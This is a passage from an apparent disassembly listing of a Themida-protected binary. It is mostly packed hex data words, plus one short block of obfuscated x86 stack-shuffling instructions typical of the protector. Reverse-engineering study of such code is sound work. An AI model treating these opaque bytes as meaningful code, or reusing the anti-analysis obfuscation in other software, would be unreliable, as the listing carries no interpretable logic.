83C08D18h, 0D1858B18h dd 906101Dh, 1020858Dh, 1985C706h, 0D4061023h, 6A00006Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 0C0DFC352h, 0C185C725h, 61022h, 66000000h dd 5C79C781h, 0EA5B5FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 0C9F42FC3h, 0F2D875BBh dd 95FF3BCDh, 6102DB9h, 66C68B60h, 86E5C081h, 0FF006A61h dd 1031C995h dword_5AC530 dd 0EBC08B06h, 0F3D1F81Ah, 0CDA63D07h, 5250A9A7h, 91961333h ; DATA XREF: Themida_:0054D4F0o dd 0B6CF8418h, 92D9C421h, 0E932CEE9h, 1Ah, 0F6E4FF0h, 2420000h dd 4 dup(0) dd 0E4E90000h, 6800000Bh, 61612AAh, 0FB39DBE9h, 13BF68FFh dd 0D1E90616h, 68FFFB39h, 616154Dh, 0FB39C7E9h, 15FC68FFh dd 0BDE90616h, 68FFFB39h, 61616A6h, 0FB39B3E9h, 189868FFh dd 0A9E90616h, 68FFFB39h, 616193Eh, 0FB399FE9h, 1A5C68FFh dd 95E90616h, 68FFFB39h, 6161B64h, 0FB398BE9h, 33E5FAFFh dd 7F398F5Eh, 38EAE3D2h, 90429A6Bh, 26E0F2C3h, 783B0B79h dd 0AFBA862h, 75481DD7h, 13E2AF61h, 5B5906C0h, 55DC7B08h dd 0DF791DDEh, 46AE8784h, 18B7695Dh, 2C7E276Ah, 5C1D4D0Eh dd 0F7464D07h, 74752AE4h, 0BC47B6CEh, 1DD85A26h, 3245B241h dd 2311B82Fh, 53A01F73h, 11B82F40h, 0A1B1408Fh, 5B90CAD8h dd 0E42062Ah, 0C79B564Dh, 0BE941961h, 4550h, 0C516F100h dd 37435226h, 2BC0EE3h, 1A481159h, 8FDC8B62h, 17C84500h dd 0FB08A955h, 0D8457270h, 7A19051Dh, 0B844062Dh, 5F1AC911h dd 93B91D83h, 37C433BEh, 11B83818h, 6C64513Dh, 3E5F0BB2h dd 0E29Eh, 75CE200h, 0E3F7464Dh, 85BAA29h, 0F1E22F4Eh dd 0C39D6A37h, 0B517C849h, 44B7ECA6h, 16EBA5B5h, 0D7830AC4h dd 621C2F96h, 34E6DE8Bh, 13C0E18Dh, 9F88CB2h, 2AB657Ch dd 0CA037201h, 42705718h, 0D51DD84Eh, 0C89C4E88h, 5428169Bh dd 0E990125Dh, 77617CAh, 0A96377D2h, 0A9287C2Ah, 788AAD5Ah dd 0DBCB0BA5h, 9E4EE687h, 0F6B0A24Fh, 1C8F0C07h, 6B0BCB58h dd 0D548E794h, 610D0BA5h, 42986540h, 35443288h, 6968E216h dd 98FD3h, 0EB9DB200h, 571147B6h, 0F0A2BB0Ah, 48FA52A3h dd 0FEB8AA1Bh, 9013E351h, 0E2D3803Ah, 8D6035EFh, 0EBDA8739h dd 93113EF8h, 56A4B340h, 17B11DDEh, 0A9065C63h, 644F015Ch dd 17C844D5h, 93C09480h, 0AF683122h, 712B1E6Bh, 39A13016h dd 0C8F9ABCEh, 0A6FAAA17h, 48FDA5FAh, 0DC8B621Ah, 0C845008Fh dd 0F897E417h, 5D17C844h, 3122B3B1h, 81822B77h, 0D845F4F6h dd 0EC93831Dh, 41FB4E9Bh, 4484A720h, 944B11B8h, 0B7A309D9h dd 0C392BE93h, 0D6000000h, 3B5EA95Ah, 1A17C845h, 8FC4416Ah dd 6B5FAED5h, 99B342B1h, 24D783D8h, 0C195F1F9h, 484B14C2h dd 0C87725FBh, 46005317h, 0FDB7AC19h, 89F685D6h, 17C86DE6h dd 0D3DE7F6Fh, 59A8176Fh, 7E2C5305h, 5799E6DDh, 0C01DD87Ch dd 341A7FD4h, 83166150h, 0D217CB15h, 0F483F07Fh, 610BA5AAh dd 0AB2F42B5h, 9FB70BA5h, 0CB9787EDh, 87F483F4h, 0BA5AAE8h dd 0E5E0816Dh, 97663BF5h, 2F338943h, 73E2165Fh, 87A58F0h dd 0AA9D0000h, 65AABF8h, 0AFA6174Ch, 0FF55A8FDh, 0B5A5184Dh dd 0EED6A6FBh, 287D372Bh, 95CA84D5h, 277C2E28h, 96CB85D6h dd 1938C316h, 3C1DDE58h, 65CF6A2h, 0B5A6174Ch, 450025Ah dd 75C034Fh, 0E4F7464Dh, 0CD89301Bh, 0F6AA1142h, 531A48A9h dd 93CB0CC0h, 5C71A6E1h, 0D7A491Dh, 1DD92EA3h, 0C597824h dd 75481DD7h, 0AA669D66h, 0F5F511FFh, 430FC900h, 0D17DEF3Ch dd 207398FEh, 0C3CA7CD1h, 944D5617h, 6B38F2E1h, 15927B98h dd 697FCD6Bh, 0BF84462Eh, 6E2FE9DFh, 0FAE94497h, 226D1440h dd 8A727A0Ch, 0D68F2AB9h, 80322A85h, 54015501h, 49B87261h dd 5E184BBAh, 3140B35Fh, 248A727Ah, 4B9C3778h, 7A404F9Ch dd 69158A72h, 79A9BF48h, 0DAC98A72h, 0BB75661Fh, 0A73F4744h dd 1581B180h, 0B7AC194Ch, 0A7506FDh, 8A72A267h, 0CA43FEEEh dd 0F28413B9h, 0F1547F20h, 3DCA394Dh, 90832F63h, 0F8CB9884h dd 0A5BD181Bh, 0FCA5D909h, 0BE3549F5h, 1E31BE2Dh, 37846247h dd 93A12647h, 0CC8A7268h, 73B6D120h, 2BBDCCD9h, 0EC3B5819h dd 4461F07Bh, 8F47E52h, 43CE6067h, 4C037E52h, 1525E291h dd 2B41001h, 9574CF7Bh, 0B23071C9h, 51FAA72Ch, 45C1Dh dd 0AB5A6500h, 28D6FDB7h, 44F18087h, 54F717C8h, 8C17C855h dd 17C838D1h, 0C8314CDFh, 0ACD07E17h, 4F84AA55h, 3ACB1DD8h dd 0C17BCF22h, 144014C2h, 3F8A496h, 0DB71F0DCh, 6ECh, 5906B80Fh dd 0E5BA746Ch, 560BBD18h, 0E6BB6D67h, 5C09C317h, 459518E8h dd 0F2E7D68Bh, 449A6B38h, 0DBF0BD92h, 0E1707421h, 0DE5A0396h dd 4F4521Dh, 464D075Ch, 41F87FE3h, 47D92649h, 25D22175h dd 1DDEADFBh, 8D13402Ch, 1468D63Dh, 0AB9F4E9Dh, 1957B0F1h dd 8D17C2B0h, 8B32E4E0h, 0C6B6BEDFh, 0A463338Eh, 41EDBB03h dd 8B39C63Dh, 0B462513Bh, 287C2E27h, 621A48A9h, 398DDC8Bh dd 115A0887h, 4156D1B6h, 0BD34E05Ch, 0E1AEC12Eh, 56A75020h dd 97434A04h, 2CDEF6CBh, 4BB8F9A5h, 9EF3AD9Eh, 6442FC4Fh dd 9D9B28A0h, 3D37CDCCh, 60000006h, 0DE0B567h, 615401BBh dd 18E5BA6Ch, 68550ABCh, 99EBB872h, 3AF4E6A9h, 87419865h dd 41F3EBDAh, 0F8B2A114h, 4DBA49ABh, 1DDE5A2Ah, 5ADDCD2Bh dd 57D10E3Dh, 446DE3C9h, 6FD81ADh, 0D88A0F79h, 0C5CCB81Dh dd 5AA96378h, 365F7F3Dh, 0B6646B25h, 0FCDBE3DBh, 180BC0B2h dd 0FFA0F4A2h, 4BE655D4h, 4DA4D886h, 0C8DBC8A2h, 420FFF17h dd 0A898DE75h, 996F020Bh, 0FF630BA8h, 8C5B3887h, 0D41219BAh dd 9DEAD982h, 11BE5DE3h, 1C695844h, 444F10C2h, 923C5BF7h dd 3BFF9305h, 0EEDD0592h, 0CEA0B634h, 0E5E4E829h, 5934Fh dd 0EFA1B600h, 43FD53A2h, 0F4A69F0Eh, 44F64E9Fh, 0F2AC9E0Fh dd 24E7CF9Dh, 0CE1F742Eh, 2194C17Bh, 0D7267B2Dh, 1795CA84h dd 5B1837C4h, 0A33D1DDEh, 621A48F7h, 563AE08Bh, 0ED7C1DDEh dd 0FA7A23DDh, 2536830Ah, 0DFDE98CAh, 5F38D624h, 0E6BA7C2Ah dd 3F13C519h, 0CBAE8F12h, 0F37F8406h, 80FF5358h, 99682231h dd 723BF5ECh, 0D791C233h, 0ED4899E8h, 0EE9C23DDh, 7CCE1BA2h dd 430FBBC2h, 372C791Ah, 6DEC567Dh, 6072FFB4h, 0CB0005A6h dd 0A651A211h, 11B19093h, 0DC89D2C2h, 9A6B60C6h, 1AB51BEh dd 48990000h, 0E08B621Ah, 1DD8469Ah, 12C4004Dh, 0D1026F3Eh dd 0EE3D5617h, 445FF27Dh, 6F611B8h, 0D0EFA9B9h, 0E98E7922h dd 0DE11B843h, 77DBA63Fh, 0A24FA00Fh, 20CEF5AFh, 4532887Fh dd 26B517C8h, 0A842B6D9h, 0A3EF9F0Bh, 5470FDEEh, 42FC4DA2h dd 5CB7AC19h, 832F4E00h, 42B0BF2Ch, 0F9A50BA8h, 84D726ADh dd 0AA1B5DBBh, 3F137383h, 0A552A112h, 0BA7DB92h, 6A1C32C3h dd 0C2EBB763h, 847B032Fh, 0B7F1E1F7h, 88F38611h, 597C6E9h dd 0ADD4806Ch, 97C6CB62h, 926D0405h, 80E6A251h, 60832C98h dd 125D0EC5h, 597897Fh, 5D8526D6h, 0CAB46FF7h, 53E6h, 0EFE69300h dd 1247963Dh, 0D98D3958h, 1A48D298h, 0E2E08B62h, 951DD845h dd 0F69DEAE9h, 0E811B844h, 4A9938F2h, 0B8449ABDh, 0F6CBBB11h dd 0D48F2EE0h, 864BD632h, 4C430EB4h, 0B2218591h, 9DAD3CF7h dd 6D2EDCE3h, 9354EF75h, 98DEBEh, 0EE7B0000h, 258526D8h dd 464D075Ch, 0AA29E3F7h, 2F4E085Bh, 864091E0h, 0B3125B07h dd 4AB9E6A0h, 53490A4Dh, 5A039FEBh, 0C849936Dh, 3CF6E517h dd 0A8DC8267h, 0F509AE59h, 5C481DDAh, 67C21865h, 0B6EBB771h dd 63591347h, 0DC068087h, 0A130C8CBh, 0C4000003h, 398CD98Bh dd 0C5386D27h, 44B1DE90h, 0BC095608h, 0C5B7ECA6h, 6E283AFDh dd 0C37DD421h, 75271F8Eh, 0C47ECD20h, 31BE0D8Fh, 1DDE5D1Eh dd 5AF19937h, 0D6FDB7ABh, 6041DF19h, 4115D1F1h, 0FBB5A520h dd 4A0457A6h, 75C4D15h, 0E4F7464Dh, 0F786752Ah, 7CD82DDFh dd 5617C3CAh, 823D5A14h, 20A2DB71h, 68BDDC27h, 0EC9817C8h dd 7D10F7B8h, 6317C8E9h, 17C7E8D0h, 0C13054FAh, 47681A34h dd 0FA092FBCh, 6E1E1DDDh, 2D03004Fh, 0CB14AA3Fh, 54FAF7B8h dd 0D436C130h, 0E317C184h, 0E5CFB533h, 78FBE21Ah, 2FBE0h dd 77291E00h, 0CB85DB2Ah, 7C2E2796h, 0CC7ED627h, 7A342697h dd 0AC6F5725h, 56A7FCB6h, 0A91C4903h, 5F4E03B5h, 0FFDDB26Ch dd 5E70FF6Ch, 8BE51DDEh, 0EB3D5A9Fh, 7E583401h, 0C91AEBB4h dd 3221700Fh, 98C62B78h, 58620DE4h, 0F1DD8FCh, 94DF905Fh dd 11B8D105h, 0D8FBA450h, 0B8D0E88Bh, 0BD78E711h, 93277FE5h dd 2A6EBEh, 48B20000h, 0E08B621Ah, 1DD845E2h, 928D324h dd 4C11B845h, 8975FFA0h, 4496BD0Ah, 8A3911B8h, 0B78D13EFh dd 0D87CBE93h, 0C4000000h, 0B0AC075Ch, 0CFF30EEFh, 376BE0FBh dd 56AFDB98h, 33CBC3B8h, 3D8C335Fh, 0DD2C530Dh, 408D34EEh dd 1162510Bh, 0C89BD366h, 0C9928217h, 0A0D52B9Ch, 0B0A317C8h dd 75CA9F6h, 7FE3464Dh, 14BB7566h, 38C33A66h, 1DD8AA42h dd 9C31865h, 0DB88DC8Ah, 70CB2BE8h, 0E4374854h, 740836BBh dd 0A8D7F27Dh, 6EFD17CBh, 0A6386E01h, 7637E70Bh, 529F0EFEh dd 0AA194600h, 0FAC1EDEDh, 1F4054ECh, 0FCFAB4A6h, 0E215FC10h dd 0DDA73D3Ch, 1, 6D4015C7h, 1F4A15Bh, 78451ACCh, 8F5AA5Ch dd 0F94B18D2h, 9A548609h, 27E1F8C5h, 0A1538B7Ah, 18D201F4h dd 6D1A694Bh, 1DDE5ECAh, 5C3DED8Bh, 0A6174C06h, 0B0035AB5h dd 10AFE395h, 8AD690C1h, 44A9C833h, 0C0AC17C8h, 5A93BF94h dd 80FFB1ABh, 3A2889D2h, 2006B42h, 41DD846h, 45690873h dd 0EC11B8h, 0AA29D55Fh, 0B845365Dh, 8F2A9911h, 93B82DB3h dd 0E11CBEh, 30BD0000h, 0AF5B6214h, 18590B42h, 4D075C52h dd 29E3F746h, 3AE5BDDAh, 0A4DF99B0h, 5A03356Bh, 0F314EE39h dd 6F6417C8h, 0BE0DE0B5h, 361C7D04h, 0F3105F4Eh, 0EEE4FC29h dd 0A6E18D34h, 0EEAF2817h, 0D90B9F19h, 637B081Dh, 4E02B410h dd 0E585145Fh, 24D011B8h, 21D02370h, 0BB367731h, 43FD4E97h dd 0EBC28E3Ch, 0CB9A0A80h, 22917D17h, 301326D1h, 0B1420BA6h dd 0F0B1E59Fh, 19746613h, 0D420EC8h, 0FAF0AAA0h, 0E215DA0Ch dd 0D5BB5150h, 0F8000000h, 85782DDFh, 0F9CC9953h, 905D32E4h dd 0E0CD8234h, 116330EAh, 0B26C5E21h, 0FFB910DDh, 0B96B6352h dd 10CA19ECh, 65126143h, 1DDE5FD2h, 5A35E583h, 453B5EA9h dd 0B1AB17C8h, 6E6621FFh, 0D098E73Ch, 0BE47683Ch, 307DD28Ch dd 9F65521Bh, 522DE27Ah, 5C0951FEh, 5FB2AC07h, 0DEE5B16Bh dd 105D6430h, 4D5401BBh, 8AE5FCE1h, 731F9E58h, 0EF7C731Fh dd 1DDE5645h, 56A32ADAh, 0A7164B05h, 8DAC57B4h, 0C811B233h dd 0BA0988DCh, 18878FDDh, 2453ED1h, 1E46D3F1h, 0C2456673h dd 1B2A4688h, 0E8DE8BE0h, 0B36E7536h, 4A17D102h, 0FAE687Bh dd 0B9D88AC2h, 29DC950Eh, 0FF92DD3Ah, 560839A0h, 803FAA6h dd 92D2458h, 0A9FCA5A4h, 464D075Ch, 3AEh, 0BFEBF200h, 3251035Ch dd 9736F0E3h, 5B62144Ah, 8201BB0Eh, 5E651F33h, 8201BB0Fh dd 68671933h, 6B12C419h, 51702A1Eh, 0E1895194h, 4C181h dd 0E9830000h, 240C8704h, 2404895Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push 6C38h mov [esp], edx push 35ECh mov [esp], esi mov esi, 6161162h mov eax, esi pop esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx push eax sub dword ptr [esp], 2E8967E5h pop dword ptr [edx+8] add dword ptr [edx+8], 2E8967E5h push dword ptr [esp] pop edx add esp, 4 mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_55FF58 ; --------------------------------------------------------------------------- db 82h dd 0E691DC40h, 0B8802570h, 6161C5Eh, 0E0FFC503h, 23299410h dd 5891523Bh, 1BE2F7FDh, 7B032D3Dh, 4314494h, 406ACDB8h dd 484BCEAFh, 58A46F89h, 6E891024h, 21C46643h, 0EE2604h dd 56C61BDEh, 56CE9B88h, 5879C514h, 0AE8h, 0D23B0F00h dd 417A36Ah, 0E9F3B9B2h, 0Dh, 4F764AD0h, 925D145Ah, 0BD3C6A25h dd 0CF815A2Fh, 55D6B721h, 70E2C281h, 8B660000h, 68DAh dd 81660000h, 595276EBh, 8E8h, 520F8600h, 978CD528h, 5BDDB314h dd 660A048Bh, 0E880D381h, 0ABA8F081h, 8D0F384Bh, 6, 0B123B660h dd 0C0816171h, 3F80C2F3h, 9EACF081h, 50FC4523h, 0AE9FD681h dd 48F0D01h, 0C8B0F0Ah, 0E9000000h, 7, 0B0DCD18Bh, 0FC374A2h dd 382h, 51C38000h, 6604E983h, 814DA8BEh, 0FF8FF4F9h, 0C850FFFh dd 0E9000000h, 2Fh, 281C1BDCh, 0E90D440Fh, 13h, 45C7AE78h dd 6A184759h, 20D698B1h, 2AD55634h, 0E9A0ED95h, 0FFFFFF78h dd 0DF3B7A58h, 92AEDDA1h, 0E97599D8h, 0B9h, 3E99A39Ch dd 0CA459CD7h, 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h dd 0CD43F1B6h, 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h dd 162AE900h, 0B4680000h, 0E9061620h, 0FFFA6194h, 1621C868h dd 618AE906h, 0BD68FFFAh, 0E9061622h, 0FFFA6180h, 16247368h dd 6176E906h, 0F268FFFAh, 0E9061624h, 0FFFA616Ch, 1625D568h dd 6162E906h, 8C68FFFAh, 0E9061626h, 0FFFA6158h, 16278D68h dd 614EE906h, 2468FFFAh, 0E9061628h, 0FFFA6144h, 16296168h dd 613AE906h, 5C68FFFAh, 0E906162Ah, 0FFFA6130h, 162BE768h dd 6126E906h, 0A868FFFAh, 0E906162Ch, 0FFFA611Ch, 162E4968h dd 6112E906h, 8468FFFAh, 0E906162Fh, 0FFFA6108h, 16313568h dd 60FEE906h, 3268FFFAh, 0E9061632h, 0FFFA60F4h, 62D619B9h dd 42F62DD3h, 59D50EB3h, 3CF02DE2h, 10CC0BBDh, 0C87CEE1Ah dd 0A346D589h, 0BB6FE662h, 964DCC80h, 0FE02ED61h, 0DA63B70Bh dd 0CA524F6Bh, 2A447932h, 39B9F9AFh, 0AFC01AC0h, 0EFAFCCA8h dd 0A85F2FD8h, 0D60BB473h, 0D2E13EFAh, 1734F709h, 0EF67FCE2h dd 6ED87F73h, 8D943CA2h, 579A5FF6h, 37397A4Ch, 42h, 1EBD5C95h dd 2A7324Ch, 8459DDC9h, 0FC7CAA87h, 0DEF06C67h, 972BDE00h dd 6F942383h, 83BE04F3h, 0DA569423h, 0EC5A01FDh, 0F942383h dd 5C4C3C31h, 0E87A7807h, 54913013h, 397B4379h, 0E659h dd 4D7B300h, 0F36F235Eh, 71A65DD6h, 23620685h, 28E3FD6Fh dd 6DCC7C9Ah, 12C99E7Ah, 59702459h, 0AC17DB2h, 6DCC0182h dd 0BD8FC47Bh, 390E47FEh, 0F4DF685h, 3005014Eh, 64103440h dd 8D35F40Ah, 6992332Eh, 868DF00Dh, 2DD914BAh, 0A1DC9249h dd 7B5571F5h, 3589390h, 0E49C3398h, 597DF9ADh, 0E1D2FBE5h dd 0F2CB72CDh, 8E25B895h, 0CEC2FBB2h, 0DD5C6E52h, 4DCF126h dd 1591AC05h, 0DCEE6A9Eh, 0F06CAB5Dh, 0E388C769h, 4034F85Ah dd 91697A2Ah, 7E000013h, 46D589CCh, 64F3679Eh, 51C884BDh dd 6EED619Eh, 0C9BF7BBAh, 5E9D4FBDh, 79BA6BEAh, 559036C5h dd 74A962D9h, 40EBD5B8h, 6BDA5C82h, 0D7BF8562h, 3B1B2496h dd 2F41371Bh, 0CCC3C67Ch, 25421E6Dh, 0FFBBFAAEh, 1E9ACF78h dd 0DB67223Ch, 3B6DCCC3h, 5C420ADFh, 5D4C1EBDh, 67FC7C74h dd 847E970h, 5433181Ch, 52B20364h, 51CDCDAAh, 0C1A2CBA5h dd 0B7889217h, 0AF63A445h, 75188FB3h, 7E44034h, 3C74A21Ch dd 93324194h, 7B2D7B56h, 0E25B39h, 32B10000h, 542A4479h dd 0CC7CED55h, 502D096Dh, 702DC4Eh, 6DCC7CBBh, 0BFB3EE94h dd 9AAFAB63h, 71276F21h, 2981E6D3h, 4413FFE3h, 6DCC60C4h dd 0E5598E35h, 8C78AD56h, 0BA32A037h, 5FA49944h, 0DFCAA4C0h dd 67FCBBC2h, 6FD488E4h, 348E7D68h, 0D0943CDFh, 6D5E7054h dd 0A85F7266h, 0B6A37F73h, 0C077F5E5h, 0C8B0CD0Ch, 0AD161E1h dd 0D7A9859Eh, 0AD216004h, 8E3B7A2Eh, 40353E87h, 7D2ABB6Bh dd 6A000012h, 52C985C8h, 70E7639Ah, 4DCC80B9h, 5AE15D9Ah dd 0C5C377B6h, 5A994BB9h, 75B657DEh, 518C42B9h, 70A55EDDh dd 3CEFD1BCh, 6BDA5D86h, 0D7BB815Eh, 7C4002A9h, 87826DCCh dd 6DCC7C3Bh, 938F7FDBh, 714BFDB6h, 0EB5F83BCh, 863CEF11h dd 5E6DCC7Ch, 0B56EE502h, 0F9F2CC80h, 0BDE1787Eh, 0FAD2A7D0h dd 265B04D7h, 5AE1F67Ah, 11887CB1h, 32A9255Ah, 374E427Bh dd 0FDDF5B90h, 0A843893Eh, 0B79BB75Fh, 7DF9ADC9h, 0E7F0B660h dd 6AF10BD0h, 0AB5383C1h, 0D8098C00h, 0DC9108FCh, 0D6AABFA3h dd 0FC114ED3h, 490C6867h, 0B22025A2h, 4695248Ch, 0D98C7534h dd 536A6599h, 47B6CAEh, 0CC750D8h, 1C383CE8h, 99D27742h dd 1CD289EDh, 201A0CE1h, 671DF799h, 4601430h, 5C7F96E7h dd 0A1A18782h, 5619BAEh, 82B770EBh, 63984FC6h, 0A90F61F6h dd 6C7D2945h, 1188h, 1692D575h, 0F6B2E99Fh, 1D91CA7Fh dd 30ACE99Eh, 14C807A9h, 0D478EA16h, 0EFA21995h, 0C77BFAAEh dd 0A249D08Ch, 2FEF16Dh, 0DA5EBB07h, 0B67E5B6Bh, 50447932h dd 75875463h, 0CB6758Bh, 0E86DCC7Ch, 0DFB46F8Ch, 0B767FC1Eh dd 13A2FFBBh, 16F3B6C8h, 0CE9E13DCh, 3D1A590Bh, 4C0FE13Dh dd 0C8AC5899h, 70245B11h, 8027D7F4h, 9E13A4C6h, 8D79B257h dd 7420550Eh, 0DFED8417h, 3E67D36h, 3F8B5DAAh, 9E8Ah, 0A9D70000h dd 0CC7C4002h, 11C8A46Dh, 0BA4B205Fh, 2BAEC01Bh, 52493D76h dd 0AFB35F9Eh, 0BCA2B693h, 6DC5E68Fh, 304DD01Bh, 0FC824E73h dd 10B38667h, 673A1FD3h, 9B4FF81Eh, 0E14E90Dh, 0EA96D577h dd 2EEB257Dh, 0B195E8D3h, 4A00BB95h, 0FAC19B0Fh, 8DC87E54h dd 2B99D99h, 513A0F4Eh, 94231EF3h, 8CC16AF1h, 0FD3BE46Fh dd 3250F907h, 0D3772E62h, 6C88EC98h, 0EFC569F0h, 3DECFE3Dh dd 94239E85h, 35E10561h, 6C01123Bh, 4FBC7252h, 6784609Bh dd 106FFAh, 3DC50600h, 7D201646h, 5CA12B40h, 5D4C1EBDh dd 67F61A21h, 2769209Bh, 4801F05Ah, 44301482h, 1B170BE0h dd 9CD17A41h, 0C7F29920h, 66154CF4h, 9425B7DCh, 46183C38h dd 0DE92D173h, 0E320C382h, 0CAB1806h, 0A50EFDCFh, 619E1FD1h dd 0B770EB05h, 65F4C682h, 53087DC1h, 0EE567653h, 853EF5D2h dd 0A313AF5Ah, 0DAD19E1Fh, 9E1FA368h, 8EE0908Ch, 1FA3279Bh dd 7F63BF9Eh, 0FEBDAF63h, 3AF10B4Ah, 9E1FA388h, 8ADBF06Ch dd 0AB5E706Bh, 942FDA9Ah, 0C4630864h, 0C85E2B40h, 0FD2CBDCh dd 0FBF0000h, 0E38910CCh, 4A930ACh, 0E3880FCBh, 1A332A6h dd 0E42006C2h, 1793D276h, 30ACEDA0h, 0ECA05A9h, 2FABE087h dd 0F949403Ch, 1D6BDA58h, 4402F4C0h, 7E6DCC7Ch, 0D9CD06BBh dd 0EFD30AC2h, 6F6C8BDAh, 1A7DAE5Dh, 2D0967F6h, 0FDF8853h dd 8844205Bh, 0E28A5A11h, 9D4CF6B5h, 0CCA89425h, 0EBD8CCA8h dd 4E3D0FCCh, 9E15FF25h, 0C45FCBFh, 3B3F1C18h dd 2A997ADFh, 0EDB94031h, 0F53FCh, 4B8E4000h, 2960088Fh dd 467F26B5h, 23600392h, 3D7C30A7h, 0D7F8B81h, 19A01C5Bh dd 0F4833778h, 2097134Eh, 93763267h, 584002A9h, 47A46BDAh dd 3B79327Dh, 9102CB55h, 530CCB49h, 374E421Eh, 0CC0DC090h dd 0ABCDFCA8h, 25427730h, 60DBFF96h, 0A55A6FAAh, 336A584Ch dd 7517A2BCh, 3FE64A36h, 6DCCB683h, 0A81A1163h, 4C6DCCB6h dd 71D7F4D0h, 971h, 1EBD5CDBh, 5D78D4Ch, 2A3F2364h, 1A955356h dd 0E20B67F6h, 30D6C6F7h, 382501F5h, 36137255h, 4316E844h dd 64F3679Ch, 777486BBh, 608A92D5h, 33F30878h, 257FDA64h dd 547E9594h, 0BA85FDDAh, 337013DBh, 0E3FFE33Fh, 8E34F709h dd 6694251Ah, 4AD70901h, 0E80CB254h, 553EED13h, 319E15FCh dd 96BAF39Ah, 312A5A31h, 0D5BED640h, 0E70h, 0EE6AAD5Dh dd 0CE8AC167h, 0F569A247h, 0C884C166h, 0EC609F51h, 9C5082FEh dd 0B75AE15Dh, 8F33C276h, 0AA61D854h, 0EAD6B975h, 0DA59833Fh dd 0BE86636Bh, 50447932h, 0A95D9239h, 0DC6D5E22h, 89537715h dd 0C8673C11h, 6A36E42Dh, 8B3C433h, 2060000h, 6DCC7C44h dd 15E7F403h, 0F61A1616h, 98B2AE67h, 97F4AB3h, 88650BFBh dd 0E9708E70h, 1C180C43h, 2559D56Dh, 18353194h, 6B14E49Bh dd 0BC9E1A36h, 0AE07A98Fh, 0D3A441BBh, 1FA580A1h, 0DECD9FC3h dd 9425ED64h, 0CC7A480h, 7D721E53h, 0A08B6576h, 9E158FF3h dd 0C45FC93h, 93381C18h, 4031FBF6h, 0B97D663Eh, 0A600000Dh dd 8E0DC104h, 0AC2B9FD6h, 7900BCF5h, 962599D6h, 11F7B3F2h dd 0A6E587F5h, 0C102A332h, 9DD88E0Dh, 0BCF19A21h, 78330D00h dd 6BDA5ACAh, 32E7AD2Ah, 412A4479h, 0EF3A6Ch, 3BF6A37h dd 0E36DCC06h, 908E6B87h, 691D52F9h, 9084B972h, 6D1956F9h dd 0C8F48B30h, 0C623C201h, 336AAFEBh, 7E8CBh, 4D74100h dd 0F26E225Fh, 0CF7188D5h, 65A64719h, 0E591B5B1h, 18F05C81h dd 5D58076Bh, 99A46779h, 7167F6BAh, 3605DBF5h, 8584568Fh dd 9426FD3Dh, 0B3805DD9h, 0C805D70Ch, 688352D0h, 0A749000Ch dd 0A3B8BC68h, 411F411Bh, 2601F84Ah, 59401C94h, 942601E9h dd 18240EBh, 6629426h, 0E89B1A16h, 5E7BF7ABh, 0DF92ED5h dd 2601E05Eh, 0C6F1DA94h, 2665079Dh, 0FC5D7641h, 26F3B50Dh dd 0F1D55194h, 7B6A89DCh, 26F33290h, 7A56D294h, 91C8A960h dd 52CE9E16h, 32F922E5h, 0D968E40h, 0CB8h, 6C205A5h, 26A2D98Fh dd 0DC1FAAFh, 209CD98Eh, 4B8F799h, 0E488FA06h, 0FFB229A5h dd 0D78B0ABEh, 0F299209Ch, 320E01BDh, 0DA5BCB77h, 0E6AE2B6Bh dd 50447932h, 0BC29239h, 71B253D2h, 0A91AA155h, 2A1EEF0Ah dd 0FEFE336Bh, 4C000006h, 0CC7C4102h, 0EAF1086Dh, 1A011910h dd 0C9A567F6h, 5A12C9B7h, 0D6F36F23h, 0BD71A65Dh, 78B158E3h dd 5F2FD863h, 15B86FACh, 204420D4h, 63787F74h, 3EE47789h dd 36130F03h, 15E30C4Dh, 0F95EBA9Eh, 40314820h, 21138490h dd 0E00000Ch, 16A5195Ch, 0F483376Eh, 2198144Dh, 0FE7D316Eh dd 594F0B4Ah, 0CE0DBF2Dh, 0E92ADB5Ah, 540E675h, 0E419D249h dd 907B8568h, 6BDA5432h, 324FD5D2h, 39504479h, 4A835D92h dd 0D7239B34h, 0AE708D32h, 0A2BCAD9h, 0EDB02C61h, 336AF224h dd 0E522C594h, 0B0183531h, 159h, 4479321Ah, 0BFFCAF2Ah dd 8C7A4FD3h, 0F105B9B2h, 153E5356h, 8FC47B38h, 0AC2FC61Bh dd 7B2DACD2h, 8CCB7D3Ch, 0C4BF9C98h, 67FC99E7h, 84F431Fh dd 943C0EBEh, 6A8F265Dh, 397AB7A7h, 0D480D617h, 58B608D7h dd 2ACD83h, 5C3F0000h, 5D4C1EBDh, 67FC7C74h, 0BBEA9692h dd 943C7C03h, 0B732D1E2h, 397B35F6h, 0F42FD366h, 0D871D7h dd 0CC8F0000h, 27FDDA17h, 50447932h, 86589739h, 0F5D211B3h dd 0A4D99209h, 0FD32D9F0h, 28328A41h, 540B6DCCh, 0BF56AB1Fh dd 9D1C421Ch, 42D9A7E7h, 0B252B27Eh, 0F2D2B98Eh, 0F0980515h dd 92A71B0Eh, 0D2789420h, 5E8BE797h, 63CCD993h, 1EE4F90Fh dd 53562842h, 94205DEFh, 2A4E2B07h, 0ACBEFDAFh, 92F3CDBFh dd 0F207BB5Dh, 0FC3BED6Ch, 499944Fh, 9B0C184Ah, 0AE4h dd 6ADE21D1h, 4AFE35EBh, 61DD16CBh, 44F835DAh, 58D413B5h dd 40E41672h, 